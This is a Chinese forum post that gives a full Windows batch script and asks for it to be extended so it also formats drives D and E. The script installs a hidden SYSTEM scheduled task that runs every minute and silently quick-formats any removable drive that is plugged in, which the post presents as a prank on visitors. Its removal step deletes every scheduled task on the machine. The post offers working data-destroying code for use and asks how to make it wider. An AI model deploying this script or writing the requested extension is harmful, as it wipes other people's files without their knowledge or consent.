这个批处理只能在插入u盘时格式化u盘,能不能加一条语句,在插入u盘的时候同时格式化d盘和e盘,谢谢!- @echo off
- :start
- echo.
- echo 本程序运行后,会在以后的每一天中每隔1分中扫描一次你的电脑是否连接USB驱动器...
- echo (例:U盘、MP3/4、手机 等等...) 若有,则见一个格一个...嘿嘿嘿~~~~~
- echo 专门整治那些随便拿U盘来你电脑上烤东西的坏人~~~~~~ 哈哈!
- echo (注:不需要搞别人的时候最好关了这手段,不然自己不小心插了个U盘上去的话就自
- echo 己害自己了,文件丢了我可不负责哦~~ 嘿嘿...)
- set/p shr=(1、使用本手段 2、关闭本手段):
- if %shr%==1 goto shy
- if %shr%==2 goto bshy
- goto start
-
- :shy
- sc config schedule start= auto >nul 2>nul
- net start schedule /y >nul 2>nul
- if exist %windir%\system32\gsh.vbs (echo 帅哥~你现已经使用了本手段!不需再使用了,按任意键返回...& pause>nul&cls&goto start)
- echo CreateObject("WScript.Shell").Run "cmd /c gsh.bat",0 >%windir%\system32\gsh.vbs
- echo for %%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (>%windir%\system32\gsh.bat
- echo fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移动驱动器" ^&^& set cp=%%%%i ^&^& call :gsh>>%windir%\system32\gsh.bat
- echo ) ^>nul 2^>nul>>%windir%\system32\gsh.bat
- echo goto :eof>>%windir%\system32\gsh.bat
- echo :gsh>>%windir%\system32\gsh.bat
- echo echo.^|format %%cp:~0,1%%: /x /q>>%windir%\system32\gsh.bat
- echo goto :eof>>%windir%\system32\gsh.bat
- )
- )
- echo 正在应用本手段...
- schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system" >nul 2>nul
- echo 恭喜~ 成功了! 以后只要谁把移动盘插到你电脑上的话..
- echo 在1分中之内,他盘内文件将拜拜~~ 哈哈...
- echo 按任意键退出...& pause>nul&exit
-
- :bshy
- if exist %windir%\system32\gsh.vbs (
- echo 删除计划任务...
- echo y|schtasks /tn * /delete >nul 2>nul
- echo 删除生成的"gsh.vbs"文件...
- del %windir%\system32\gsh.vbs
- echo 删除生成的"gsh.bat"文件...
- del %windir%\system32\gsh.bat
- echo.
- echo 关闭本手段成功!
- echo 按任意键退出...& pause>nul&exit
- ) else (
- echo 还没使用过本手段~ 无法关哦!
- )
- echo 按任意键返回...& pause>nul&goto start
复制代码
|